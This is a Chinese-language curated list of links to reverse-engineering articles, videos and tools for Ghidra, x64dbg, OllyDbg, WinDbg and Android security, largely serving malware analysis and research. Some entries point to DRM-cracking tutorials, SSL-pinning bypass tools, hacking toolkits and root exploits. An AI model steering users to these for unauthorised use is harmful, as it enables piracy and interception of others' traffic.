- 2019.09 [dustri] [Radare2, IDA Pro, and Binary ninja, a metaphoric comparison](https://dustri.org/b/radare2-ida-pro-and-binary-ninja-a-metaphoric-comparison.html)
- 2019.05 [vimeo] [Three Heads are Better Than One: Mastering Ghidra - Alexei Bulazel, Jeremy Blackthorne - INFILTRATE 2019](https://vimeo.com/335158460)
- 2019.04 [X0x6d696368] [Ghidra: Stack Depth (to detect stack manipulation)](https://www.youtube.com/watch?v=hP9FQrD61tk)
- 2019.04 [X0x6d696368] [Ghidra: Version Tracking](https://www.youtube.com/watch?v=K83T7iVla5s)
- 2019.04 [X0x6d696368] [Ghidra: Export Symbols and Load External Libraries (to resolve imported function names)](https://www.youtube.com/watch?v=Avn8s7iW3Rc)
- 2019.04 [X0x6d696368] [Ghidra: Data Type Manager / Archives and Parse C Source... (resolve function signatures)](https://www.youtube.com/watch?v=u15-r5Erfnw)
- 2019.04 [X0x6d696368] [Ghidra: Generate Checksum... (to extract hashes of embedded malware artifacts)](https://www.youtube.com/watch?v=vLG7c5Eae0s)
- 2019.04 [msreverseengineering] [An Abstract Interpretation-Based Deobfuscation Plugin for Ghidra](https://www.msreverseengineering.com/blog/2019/4/17/an-abstract-interpretation-based-deobfuscation-plugin-for-ghidra)
- 2019.04 [X0x6d696368] [Ghidra: FunctionID (to identify libraries and code reuse)](https://www.youtube.com/watch?v=P8Ul2K7pEfU)
- 2019.04 [X0x6d696368] [Ghidra: Server / Shared Projects (using ghidra-server.org)](https://www.youtube.com/watch?v=ka4vGxLmr4w)
- 2019.04 [X0x6d696368] [Ghidra: Bytes View (to patch binary and export to a working PE file)](https://www.youtube.com/watch?v=utUqAbfURko)
- 2019.04 [X0x6d696368] [Ghidra: Fixing Bugs (Fixing PE section import size alignment)](https://www.youtube.com/watch?v=vpt7-Hn-Uhg)
- 2019.04 [X0x6d696368] [Ghidra: Clear Flow and Repair, and Patch Instruction (to defeat anti-disassembly)](https://www.youtube.com/watch?v=H9DyLQ2iuyE)
- 2019.04 [X0x6d696368] [Ghidra: Scripting (Python) (a quick introduction by implementing pipeDecoder.py)](https://www.youtube.com/watch?v=WLXlq3lvUGs)
- 2019.04 [X0x6d696368] [Ghidra: Decompile and compile (to quickly reimplement malware decoding functions)](https://www.youtube.com/watch?v=YuwOgBDt_b4)
- 2019.04 [X0x6d696368] [Ghidra: EditBytesScript (to fix/manipulate PE header to load ShadowHammer setup.exe sample)](https://www.youtube.com/watch?v=7__tiVMPIEE)
- 2019.04 [X0x6d696368] [Ghidra: Extract and Import ... (to extract resources from PE binaries)](https://www.youtube.com/watch?v=M19ZSTAgubI)
- 2019.04 [X0x6d696368] [Ghidra: YaraGhidraGUIScript (to generate a YARA signature for threat/retro hunting)](https://www.youtube.com/watch?v=tBvxVkJrkh0)
- 2019.04 [X0x6d696368] [Ghidra: XORMemoryScript (to XOR decode strings)](https://www.youtube.com/watch?v=vPqs7E_nhdQ)
- 2019.04 [yoroi] [Ghidra SRE: The AZORult Field Test](https://blog.yoroi.company/research/ghidra-sre-the-azorult-field-test/)
### <a id="b7fb955b670df2babc67e5942297444d"></a>Ghidra漏洞
- 2019.10 [securityaffairs] [Ghidra 9.0.4及之前版本的代码执行漏洞](https://securityaffairs.co/wordpress/92280/hacking/ghidra-code-execution-flaw.html)
- 2019.10 [4hou] [CVE-2019-16941: NSA Ghidra工具RCE漏洞](https://www.4hou.com/info/news/20698.html)
- 2019.03 [venus] [Ghidra 从 XXE 到 RCE](https://paper.seebug.org/861/)
- 2019.03 [tencent] [Ghidra 从 XXE 到 RCE](https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/)
### <a id="dd0d49a5e6bd34b372d9bbf4475e8024"></a>实战分析
#### <a id="f0ab053d7a282ab520c3a327fc91ba2e"></a>未分类
- 2019.09 [venus] [使用 Ghidra 对 iOS 应用进行 msgSend 分析](https://paper.seebug.org/1037/)
- 2019.09 [4hou] [使用Ghidra对iOS应用进行msgSend分析](https://www.4hou.com/system/20326.html)
- 2019.09 [WarrantyVoider] [X360 XEX Decompiling With Ghidra](https://www.youtube.com/watch?v=coGz0f7hHTM)
- 2019.08 [WarrantyVoider] [N64 ROM Decompiling With Ghidra - N64LoaderWV](https://www.youtube.com/watch?v=3d3a39LuCwc)
- 2019.08 [4hou] [基于Ghidra和Neo4j的RPC分析技术](https://www.4hou.com/technology/19730.html)
- 2019.04 [X0x6d696368] [Ghidra: Search Program Text... (to find XOR decoding functions in malware)](https://www.youtube.com/watch?v=MaxwIxrmrWY)
- 2019.04 [shogunlab] [Here Be Dragons: Reverse Engineering with Ghidra - Part 0 [Main Windows & CrackMe]](https://www.shogunlab.com/blog/2019/04/12/here-be-dragons-ghidra-0.html)
- 2019.03 [GhidraNinja] [Reverse engineering with #Ghidra: Breaking an embedded firmware encryption scheme](https://www.youtube.com/watch?v=4urMITJKQQs)
- 2019.03 [GhidraNinja] [Ghidra quickstart & tutorial: Solving a simple crackme](https://www.youtube.com/watch?v=fTGTnrgjuGA)
#### <a id="375c75af4fa078633150415eec7c867d"></a>漏洞分析&&挖掘
- 2019.11 [4hou] [使用Ghidra对WhatsApp VOIP Stack 溢出漏洞的补丁对比分析](https://www.4hou.com/vulnerable/21141.html)
- 2019.09 [4hou] [利用Ghidra分析TP-link M7350 4G随身WiFi的RCE漏洞](https://www.4hou.com/vulnerable/20267.html)
- 2019.08 [aliyun] [CVE-2019-12103 使用Ghidra分析TP-Link M7350上的预认证RCE](https://xz.aliyun.com/t/6017)
#### <a id="4e3f53845efe99da287b2cea1bdda97c"></a>恶意代码
- 2019.06 [dawidgolak] [IcedID aka #Bokbot Analysis with Ghidra.](https://medium.com/p/560e3eccb766)
- 2019.04 [aliyun] [利用Ghidra分析恶意软件Emotet](https://xz.aliyun.com/t/4931)
- 2019.04 [X0x6d696368] [Ghidra: Shadow Hammer (Stage 1: Setup.exe) complete static Analysis](https://www.youtube.com/watch?v=gI0nZR4z7_M)
- 2019.04 [X0xd0cf11e] [Analyzing Emotet with Ghidra — Part 2](https://medium.com/p/9efbea374b14)
- 2019.04 [X0x6d696368] [Ghidra: Android APK (it's basically dex2jar with a .dex decompiler)](https://www.youtube.com/watch?v=At_T6riSb9A)
- 2019.04 [X0xd0cf11e] [Analyzing Emotet with Ghidra — Part 1](https://medium.com/p/4da71a5c8d69)
- 2019.03 [GhidraNinja] [Reversing WannaCry Part 1 - Finding the killswitch and unpacking the malware in #Ghidra](https://www.youtube.com/watch?v=Sv8yu12y5zM)
- 2019.03 [HackerSploit] [Malware Analysis With Ghidra - Stuxnet Analysis](https://www.youtube.com/watch?v=TJhfnItRVOA)
- 2019.03 [sans] [Analysing meterpreter payload with Ghidra](https://isc.sans.edu/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/)
### <a id="92f60c044ed13b3ffde631794edd2756"></a>其他
### <a id="4bfa6dcf708b3f896870c9d3638c0cde"></a>Tips&&Tricks
### <a id="0d086cf7980f65da8f7112b901fecdc1"></a>工具&&插件&&脚本
- 2019.11 [deadc0de] [使用Python编写Ghidra脚本示例](https://deadc0de.re/articles/ghidra-scripting-python.html)
- 2019.04 [X0x6d696368] [ghidra_scripts: RC4Decryptor.py](https://www.youtube.com/watch?v=kXaHrPyZtGs)
- 2019.04 [aliyun] [如何开发用于漏洞研究的Ghidra插件，Part 1](https://xz.aliyun.com/t/4723)
- 2019.04 [somersetrecon] [Ghidra Plugin Development for Vulnerability Research - Part-1](https://www.somersetrecon.com/blog/2019/ghidra-plugin-development-for-vulnerability-research-part-1)
- 2019.03 [wololo] [PS4 release: GhidraPS4Loader and Playstation 4 Flash tool](http://wololo.net/2019/03/18/ps4-release-ghidraps4loader-and-playstation-4-flash-tool/)
# <a id="b1a6c053e88e86ce01bbd78c54c63a7c"></a>x64dbg
***
## <a id="b4a856db286f9f29b5a32d477d6b3f3a"></a>插件&&脚本
### <a id="353ea40f2346191ecb828210a685f9db"></a>x64dbg
- [**34576**星][1m] [C++] [x64dbg/x64dbg](https://github.com/x64dbg/x64dbg) Windows平台x32/x64调试器
### <a id="da5688c7823802e734c39b539aa39df7"></a>新添加的
- [**1672**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器，支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件，也可以作为库使用
- 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) |
- [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin)
- [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面
- [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具
- [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码，可作为库使用
- [**1341**星][1m] [C] [x64dbg/x64dbgpy](https://github.com/x64dbg/x64dbgpy) Automating x64dbg using Python, Snapshots:
- [**972**星][2m] [Py] [x64dbg/docs](https://github.com/x64dbg/docs) x64dbg文档
- [**471**星][13d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话
- 重复区段: [IDA->插件->与调试器同步](#f7d311685152ac005cfce5753c006e4b) |
- [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb)
- [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra)
- [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida)
- [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb)
- [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1)
- [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2)
- [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync)
- [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg)
- [**363**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集
- 重复区段: [IDA->插件->收集](#a7dac37cd93b8bb42c7d6aedccb751b3) |
***
## <a id="22894d6f2255dc43d82dd46bdbc20ba1"></a>文章&&视频
- 2019.02 [freebuf] [使用x64dbg分析微信并获取所有联系人信息](https://www.freebuf.com/articles/terminal/195774.html)
- 2018.03 [freebuf] [使用x64dbg分析微信聊天函数并实现发信息](http://www.freebuf.com/sectool/164988.html)
- 2018.03 [360] [使用x64dbg脱壳之开源壳upx](https://www.anquanke.com/post/id/99750/)
- 2018.02 [360] [使用x64dbg分析微信防多开功能](https://www.anquanke.com/post/id/98825/)
- 2018.02 [360] [使用x64dbg 分析 TIM2.0 QQ撤销功能](https://www.anquanke.com/post/id/98498/)
- 2018.02 [KirbiflintCracking] [Patching a Keygenme with x64dbg [Learning Cracking]](https://www.youtube.com/watch?v=tkHW-VNBBQo)
- 2018.01 [KirbiflintCracking] [Cracking & Keygen a crackme with x64dbg [Learning Cracking]](https://www.youtube.com/watch?v=6JsYRg8_yeY)
- 2018.01 [KirbiflintCracking] [Cracking the new Steam Stub drm with x64dbg [Learning Cracking]](https://www.youtube.com/watch?v=yrrcL8xGPoE)
- 2018.01 [KirbiflintCracking] [Cracking a simple crackme & bypassing Anti-debugger protection with x64dbg [Learning Cracking]](https://www.youtube.com/watch?v=Sal3xbSJdJA)
- 2017.12 [KirbiflintCracking] [Cracking some Crackmes with x64dbg [Learning Cracking]](https://www.youtube.com/watch?v=E1zD4Lp7b1g)
- 2017.12 [KirbiflintCracking] [Cracking a simple Crackme with x64dbg [Learning cracking]](https://www.youtube.com/watch?v=MHw8Xu9Od_c)
- 2017.10 [x64dbg] [Limitations in x64dbg](https://x64dbg.com/blog/2017/10/06/Limitations-in-x64dbg.html)
- 2017.09 [pediy] [[翻译]消息断点在x64dbg中的应用 by lantie@15PB](https://bbs.pediy.com/thread-221551.htm)
- 2017.07 [pediy] [[原创]使用x64dbg+VS2015 Spy++去除WinRAR5.40(64位)广告弹框](https://bbs.pediy.com/thread-219435.htm)
- 2017.06 [seowhistleblower] [Channel Update + Let's Hack: Sniper Elite 4 (Cheat Engine and x64dbg Tutorial)](https://www.youtube.com/watch?v=KCHsOmebYo4)
- 2016.10 [x64dbg] [Architecture of x64dbg](https://x64dbg.com/blog/2016/10/04/architecture-of-x64dbg.html)
- 2016.07 [x64dbg] [x64dbg plugin SDK](https://x64dbg.com/blog/2016/07/30/x64dbg-plugin-sdk.html)
- 2016.07 [adelmas] [Introducing x64dbg and Pizzacrypts Ransomware Unpacking](http://adelmas.com/blog/x64dbg_pizzacrypts.php)
- 2015.12 [pediy] [[原创]源码编译x64dbg](https://bbs.pediy.com/thread-206431.htm)
- 2015.10 [pediy] [[原创]win7X64DBGPORT移位数据](https://bbs.pediy.com/thread-205123.htm)
# <a id="37e37e665eac00de3f55a13dcfd47320"></a>OllyDbg
***
## <a id="7834e399e48e6c64255a1a0fdb6b88f5"></a>插件&&脚本
### <a id="92c44f98ff5ad8f8b0f5e10367262f9b"></a>新添加的
***
## <a id="8dd3e63c4e1811973288ea8f1581dfdb"></a>文章&&视频
- 2019.04 [freebuf] [缓冲区溢出实战教程系列（三）：利用OllyDbg了解程序运行机制](https://www.freebuf.com/articles/system/198149.html)
- 2018.10 [pediy] [[原创]使用“PE文件加区段工具”、“LordPE”、“WinHex”、“OllyDbg”为PE文件添加section、dll（API）](https://bbs.pediy.com/thread-247370.htm)
- 2018.10 [pediy] [[原创]Ollydbg插件的编写流程](https://bbs.pediy.com/thread-247331.htm)
- 2018.03 [pediy] [[原创]业余时间开发的类IDA静态反汇编工具(仿Ollydbg界面)(内有传送门)](https://bbs.pediy.com/thread-225396.htm)
- 2018.01 [kienbigmummy] [OllyDbg_tut32](https://medium.com/p/345972799c44)
- 2018.01 [pediy] [如何实现自己的ollydbg调试器 (1) 界面的实现](https://bbs.pediy.com/thread-224157.htm)
- 2017.12 [hackers] [Reverse Engineering Malware, Part 5: OllyDbg Basics](https://www.hackers-arise.com/single-post/2017/10/03/Reverse-Engineering-Malware-Part-5-OllyDbg-Basics)
- 2017.10 [4hou] [工具推荐：逆向破解利器OllyDbg](http://www.4hou.com/tools/7890.html)
- 2017.07 [ColinHardy] [Three and a half ways to unpack malware using Ollydbg](https://www.youtube.com/watch?v=n_gxtaFX8Ao)
- 2016.12 [360] [利用OllyDbg跟踪分析Process Hollowing](https://www.anquanke.com/post/id/85124/)
- 2016.12 [airbuscybersecurity] [Following Process Hollowing in OllyDbg](http://blog.airbuscybersecurity.com/post/2016/06/Following-Process-Hollowing-in-OllyDbg)
- 2015.11 [pediy] [[原创][开源]OllyDbg 2.x插件编写教程](https://bbs.pediy.com/thread-206175.htm)
- 2015.11 [pediy] [[原创]科普文之如何编写ollydbg插件](https://bbs.pediy.com/thread-206064.htm)
- 2015.11 [pediy] [[翻译]Ollydbg2.0X版本帮助手册中文翻译](https://bbs.pediy.com/thread-205870.htm)
- 2015.08 [pediy] [[原创]《使用OllyDbg从零开始Cracking》第14课练习完整解答](https://bbs.pediy.com/thread-203152.htm)
- 2015.01 [pediy] [[翻译]使用OllyDbg从零开始Cracking 第五十八章-EXECryptor v2.2.50.h脱壳](https://bbs.pediy.com/thread-196797.htm)
- 2014.11 [reversec0de] [OllyDbg Plugin Converter v0.1b](https://reversec0de.wordpress.com/2014/11/09/ollydbg-plugin-converter-v0-1b/)
- 2014.10 [pediy] [[翻译]使用OllyDbg从零开始Cracking 第四十四章-ACProtect V1.09脱壳(修复AntiDump)](https://bbs.pediy.com/thread-193537.htm)
- 2014.10 [pediy] [[翻译]使用OllyDbg从零开始Cracking 第四十三章-ACProtect V1.09脱壳(编写脚本修复IAT)](https://bbs.pediy.com/thread-193467.htm)
- 2014.10 [pediy] [使用OllyDbg从零开始Cracking 第四十二章-ACProtect V1.09脱壳(寻找OEP,绕过硬件断点的检测,修复Stolen code)](https://bbs.pediy.com/thread-193405.htm)
# <a id="0a506e6fb2252626add375f884c9095e"></a>WinDBG
***
## <a id="37eea2c2e8885eb435987ccf3f467122"></a>插件&&脚本
### <a id="2ef75ae7852daa9862b2217dca252cc3"></a>新添加的
- [**564**星][6m] [C#] [fremag/memoscope.net](https://github.com/fremag/memoscope.net) Dump and analyze .Net applications memory ( a gui for WinDbg and ClrMd )
- [**279**星][1m] [Py] [hugsy/defcon_27_windbg_workshop](https://github.com/hugsy/defcon_27_windbg_workshop) DEFCON 27 workshop - Modern Debugging with WinDbg Preview
- [**230**星][9m] [C++] [microsoft/windbg-samples](https://github.com/microsoft/windbg-samples) Sample extensions, scripts, and API uses for WinDbg.
***
## <a id="6d8bac8bfb5cda00c7e3bd38d64cbce3"></a>文章&&视频
- 2019.10 [freebuf] [Iris：一款可执行常见Windows漏洞利用检测的WinDbg扩展](https://www.freebuf.com/sectool/214276.html)
- 2019.08 [lowleveldesign] [Synthetic types and tracing syscalls in WinDbg](https://lowleveldesign.org/2019/08/27/synthetic-types-and-tracing-syscalls-in-windbg/)
- 2019.08 [benoit] [Portable WinDbg](https://medium.com/p/c0087e320ddc)
- 2019.07 [osr] [How L1 Terminal Fault (L1TF) Mitigation and WinDbg Wasted My Morning (a.k.a. Yak Shaving: WinDbg Edition)](https://www.osr.com/blog/2019/07/02/how-l1-terminal-fault-l1tf-mitigation-and-windbg-wasted-my-morning-a-k-a-yak-shaving-windbg-edition/)
- 2019.06 [360] [《Dive into Windbg系列》Explorer无法启动排查](https://www.anquanke.com/post/id/179748/)
- 2019.05 [nul] [一个Windbg/cdb极其缓慢的例子](http://www.nul.pw/2019/05/21/281.html)
- 2019.04 [360] [《Dive into Windbg系列》AudioSrv音频服务故障](https://www.anquanke.com/post/id/176343/)
- 2019.04 [freebuf] [如何为WinDbg编写ClrMD插件](https://www.freebuf.com/articles/network/198951.html)
- 2019.03 [aliyun] [为WinDbg和LLDB编写ClrMD扩展](https://xz.aliyun.com/t/4459)
- 2019.03 [offensive] [Development of a new Windows 10 KASLR Bypass (in One WinDBG Command)](https://www.offensive-security.com/vulndev/development-of-a-new-windows-10-kaslr-bypass-in-one-windbg-command/)
- 2019.02 [OALabs] [WinDbg Basics for Malware Analysis](https://www.youtube.com/watch?v=QuFJpH3My7A)
- 2019.01 [TheSourceLens] [Windows Internals - Processes Part 6 of 20 - Process related windbg commands.](https://www.youtube.com/watch?v=Hg0xcpBc6R4)
- 2019.01 [TheSourceLens] [Introduction to Windbg Series 1 Part 23 - Time travellers tracing ( IDNA )](https://www.youtube.com/watch?v=Is8mZ5kklfw)
- 2018.09 [pediy] [[原创] 《软件调试》分页机制windbg例子分析（各种填坑）](https://bbs.pediy.com/thread-246768.htm)
- 2018.08 [pediy] [[翻译]WinDbg内核调试配置方法介绍](https://bbs.pediy.com/thread-246228.htm)
- 2018.06 [pediy] [[原创]让Windbg在驱动入口前断下来](https://bbs.pediy.com/thread-228575.htm)
- 2018.05 [criteo] [Extending the new WinDbg, Part 3 – Embedding a C# interpreter](http://labs.criteo.com/2018/05/extending-new-windbg-part-3-embedding-c-interpreter/)
- 2018.04 [whereisk0shl] [Windbg logviewer.exe缓冲区溢出漏洞](http://whereisk0shl.top/post/2018-04-26)
- 2018.04 [nettitude] [WinDbg: using pykd to dump private symbols](https://labs.nettitude.com/blog/windbg-using-pykd-to-dump-private-symbols/)
- 2018.02 [comae] [YARA scans in WinDbg](https://medium.com/p/b98851bf599b)
# <a id="11a59671b467a8cdbdd4ea9d5e5d9b51"></a>Android
***
## <a id="2110ded2aa5637fa933cc674bc33bf21"></a>工具
### <a id="63fd2c592145914e99f837cecdc5a67c"></a>新添加的1
- [**6101**星][3m] [Java] [google/android-classyshark](https://github.com/google/android-classyshark) 分析基于Android/Java的App或游戏
- [**6094**星][5m] [Java] [qihoo360/replugin](https://github.com/qihoo360/replugin) RePlugin - A flexible, stable, easy-to-use Android Plug-in Framework
- [**5195**星][19d] [Py] [mobsf/mobile-security-framework-mobsf](https://github.com/MobSF/Mobile-Security-Framework-MobSF) Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.
- [**5084**星][15d] [HTML] [owasp/owasp-mstg](https://github.com/owasp/owasp-mstg) 关于移动App安全开发、测试和逆向的相近手册
- [**4882**星][24d] [Java] [guardianproject/haven](https://github.com/guardianproject/haven) 通过Android应用和设备上的传感器保护自己的个人空间和财产而又不损害
- [**4776**星][12d] [C++] [facebook/redex](https://github.com/facebook/redex) Android App字节码优化器
- [**4306**星][15d] [Shell] [ashishb/android-security-awesome](https://github.com/ashishb/android-security-awesome) A collection of android security related resources
- [**3649**星][2m] [C++] [anbox/anbox](https://github.com/anbox/anbox) 在常规GNU / Linux系统上引导完整的Android系统，基于容器
- [**2314**星][1y] [Java] [csploit/android](https://github.com/csploit/android) cSploit - The most complete and advanced IT security professional toolkit on Android.
- [**2120**星][9m] [Py] [linkedin/qark](https://github.com/linkedin/qark) 查找Android App的漏洞, 支持源码或APK文件
- [**2095**星][10m] [jermic/android-crack-tool](https://github.com/jermic/android-crack-tool)
- [**2051**星][21d] [Py] [sensepost/objection](https://github.com/sensepost/objection) runtimemobile exploration
- [**2011**星][8m] [Py] [fsecurelabs/drozer](https://github.com/FSecureLABS/drozer) The Leading Security Assessment Framework for Android.
- [**1976**星][9d] [Java] [kyson/androidgodeye](https://github.com/kyson/androidgodeye) AndroidGodEye:A performance monitor tool , like "Android Studio profiler" for Android , you can easily monitor the performance of your app real time in pc browser
- [**1925**星][7m] [Java] [fuzion24/justtrustme](https://github.com/fuzion24/justtrustme) An xposed module that disables SSL certificate checking for the purposes of auditing an app with cert pinning
- [**1430**星][11m] [Java] [aslody/legend](https://github.com/aslody/legend) (Android)无需Root即可Hook Java方法的框架, 支持Dalvik和Art环境
- [**1417**星][1m] [Java] [chrisk44/hijacker](https://github.com/chrisk44/hijacker) Aircrack, Airodump, Aireplay, MDK3 and Reaver GUI Application for Android
- [**1241**星][3m] [Java] [whataa/pandora](https://github.com/whataa/pandora) an android library for debugging what we care about directly in app.
- [**1235**星][2m] [Java] [find-sec-bugs/find-sec-bugs](https://github.com/find-sec-bugs/find-sec-bugs) The SpotBugs plugin for security audits of Java web applications and Android applications. (Also work with Kotlin, Groovy and Scala projects)
- [**1213**星][2m] [JS] [megatronking/httpcanary](https://github.com/megatronking/httpcanary) A powerful capture and injection tool for the Android platform
- [**1208**星][4m] [Java] [javiersantos/piracychecker](https://github.com/javiersantos/piracychecker) An Android library that prevents your app from being pirated / cracked using Google Play Licensing (LVL), APK signature protection and more. API 14+ required.
- [**1134**星][1m] [Java] [huangyz0918/androidwm](https://github.com/huangyz0918/androidwm) 一个支持不可见数字水印（隐写术）的android图像水印库。
- [**885**星][2m] [C] [504ensicslabs/lime](https://github.com/504ensicslabs/lime) LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android. The tool supports acquiring memory either to the file system of the device or over the network. LiME is unique in that it is the first tool that allows full memory captures f…
- [**820**星][11d] [proxymanapp/proxyman](https://github.com/proxymanapp/proxyman) Modern and Delightful HTTP Debugging Proxy for macOS, iOS and Android
- [**810**星][4m] [Scala] [antox/antox](https://github.com/antox/antox) Android client for Project Tox - Secure Peer to Peer Messaging
- [**800**星][3m] [sh4hin/androl4b](https://github.com/sh4hin/androl4b) 用于评估Android应用程序，逆向工程和恶意软件分析的虚拟机
- [**769**星][1y] [C] [ele7enxxh/android-inline-hook](https://github.com/ele7enxxh/android-inline-hook) thumb16 thumb32 arm32 inlineHook in Android
- [**668**星][2m] [doridori/android-security-reference](https://github.com/doridori/android-security-reference) A W.I.P Android Security Ref
- [**608**星][7m] [JS] [vincentcox/stacoan](https://github.com/vincentcox/stacoan) StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications.
- [**559**星][14d] [Shell] [owasp/owasp-masvs](https://github.com/owasp/owasp-masvs) OWASP 移动App安全标准
- [**546**星][2m] [nordicsemiconductor/android-nrf-connect](https://github.com/nordicsemiconductor/android-nrf-connect) Documentation and issue tracker for nRF Connect for Android.
- [**541**星][1y] [Java] [jaredrummler/apkparser](https://github.com/jaredrummler/apkparser) APK parser for Android
- [**527**星][4m] [JS] [wooyundota/droidsslunpinning](https://github.com/wooyundota/droidsslunpinning) Android certificate pinning disable tools
- [**518**星][4m] [Java] [megatronking/stringfog](https://github.com/megatronking/stringfog) 一款自动对字节码中的字符串进行加密Android插件工具
- [**511**星][9d] [Java] [happylishang/cacheemulatorchecker](https://github.com/happylishang/cacheemulatorchecker) Android模拟器检测，检测Android模拟器 ，获取相对真实的IMEI AndroidId 序列号 MAC地址等，作为DeviceID，应对防刷需求等
- [**482**星][2m] [JS] [lyxhh/lxhtoolhttpdecrypt](https://github.com/lyxhh/lxhtoolhttpdecrypt) Simple Android/iOS protocol analysis and utilization tool
- [**450**星][12m] [Kotlin] [shadowsocks/kcptun-android](https://github.com/shadowsocks/kcptun-android) kcptun for Android.
- [**443**星][1m] [TS] [shroudedcode/apk-mitm](https://github.com/shroudedcode/apk-mitm)
- [**431**星][13d] [C] [guardianproject/orbot](https://github.com/guardianproject/orbot) The Github home of Orbot: Tor on Android (Also available on gitlab!)
- [**426**星][19d] [Py] [thehackingsage/hacktronian](https://github.com/thehackingsage/hacktronian) All in One Hacking Tool for Linux & Android
- [**412**星][4m] [Java] [megatronking/netbare](https://github.com/megatronking/netbare) Net packets capture & injection library designed for Android
- [**409**星][3m] [CSS] [angea/pocorgtfo](https://github.com/angea/pocorgtfo) a "Proof of Concept or GTFO" mirror with extra article index, direct links and clean PDFs.
- [**408**星][1y] [Java] [testwhat/smaliex](https://github.com/testwhat/smaliex) A wrapper to get de-optimized dex from odex/oat/vdex.
- [**379**星][6m] [Makefile] [crifan/android_app_security_crack](https://github.com/crifan/android_app_security_crack) 安卓应用的安全和破解
- [**379**星][1y] [CSS] [nowsecure/secure-mobile-development](https://github.com/nowsecure/secure-mobile-development) A Collection of Secure Mobile Development Best Practices
- [**358**星][5m] [b3nac/android-reports-and-resources](https://github.com/b3nac/android-reports-and-resources) A big list of Android Hackerone disclosed reports and other resources.
- [**358**星][5m] [C] [the-cracker-technology/andrax-mobile-pentest](https://github.com/the-cracker-technology/andrax-mobile-pentest) ANDRAX The first and unique Penetration Testing platform for Android smartphones
- [**333**星][25d] [Java] [datatheorem/trustkit-android](https://github.com/datatheorem/trustkit-android) Easy SSL pinning validation and reporting for Android.
- [**284**星][9m] [Py] [micropyramid/forex-python](https://github.com/micropyramid/forex-python) Foreign exchange rates, Bitcoin price index and currency conversion using ratesapi.io
- [**267**星][4m] [Py] [amimo/dcc](https://github.com/amimo/dcc) DCC (Dex-to-C Compiler) is method-based aot compiler that can translate DEX code to C code.
- [**265**星][11d] [Py] [den4uk/andriller](https://github.com/den4uk/andriller) a collection of forensic tools for smartphones
- [**251**星][10m] [C] [chef-koch/android-vulnerabilities-overview](https://github.com/chef-koch/android-vulnerabilities-overview) An small overview of known Android vulnerabilities
- [**234**星][3m] [C] [grant-h/qu1ckr00t](https://github.com/grant-h/qu1ckr00t) A PoC application demonstrating the power of an Android kernel arbitrary R/W.
- [**234**星][1y] [Ruby] [hahwul/droid-hunter](https://github.com/hahwul/droid-hunter) (deprecated) Android application vulnerability analysis and Android pentest tool
- [**229**星][8m] [Java] [jieyushi/luffy](https://github.com/jieyushi/luffy) Android字节码插件，编译期间动态修改代码，改造添加全埋点日志采集功能模块，对常见控件进行监听处理
- [**225**星][3m] [Java] [virb3/trustmealready](https://github.com/virb3/trustmealready) Disable SSL verification and pinning on Android, system-wide
- [**208**星][26d] [C] [derrekr/fastboot3ds](https://github.com/derrekr/fastboot3ds) A homebrew bootloader for the Nintendo 3DS that is similar to android's fastboot.
### <a id="883a4e0dd67c6482d28a7a14228cd942"></a>新添加的
### <a id="fa49f65b8d3c71b36c6924ce51c2ca0c"></a>HotFix
- [**14557**星][13d] [Java] [tencent/tinker](https://github.com/tencent/tinker) Tinker is a hot-fix solution library for Android, it supports dex, library and resources update without reinstall apk.
- [**3462**星][27d] [Java] [meituan-dianping/robust](https://github.com/meituan-dianping/robust) Robust is an Android HotFix solution with high compatibility and high stability. Robust can fix bugs immediately without a reboot.
- [**1117**星][6m] [Java] [manbanggroup/phantom](https://github.com/manbanggroup/phantom) 唯一零 Hook 稳定占坑类 Android 热更新插件化方案
### <a id="ec395c8f974c75963d88a9829af12a90"></a>打包
- [**5080**星][2m] [Java] [meituan-dianping/walle](https://github.com/meituan-dianping/walle) Android Signature V2 Scheme签名下的新一代渠道包打包神器
### <a id="767078c52aca04c452c095f49ad73956"></a>收集
### <a id="17408290519e1ca7745233afea62c43c"></a>各类App
- [**12285**星][11d] [Java] [signalapp/signal-android](https://github.com/signalapp/Signal-Android) A private messenger for Android.
### <a id="7f353b27e45b5de6b0e6ac472b02cbf1"></a>Xposed
- [**8756**星][2m] [Java] [android-hacker/virtualxposed](https://github.com/android-hacker/virtualxposed) A simple app to use Xposed without root, unlock the bootloader or modify system image, etc.
- [**2559**星][7m] [taichi-framework/taichi](https://github.com/taichi-framework/taichi) A framework to use Xposed module with or without Root/Unlock bootloader, supportting Android 5.0 ~ 10.0
- [**2034**星][12d] [Java] [elderdrivers/edxposed](https://github.com/elderdrivers/edxposed) Elder driver Xposed Framework.
- [**1726**星][1y] [Java] [ac-pm/inspeckage](https://github.com/ac-pm/inspeckage) Android Package Inspector - dynamic analysis with api hooks, start unexported activities and more. (Xposed Module)
- [**1655**星][2m] [Java] [tiann/epic](https://github.com/tiann/epic) Dynamic java method AOP hook for Android(continution of Dexposed on ART), Supporting 4.0~10.0
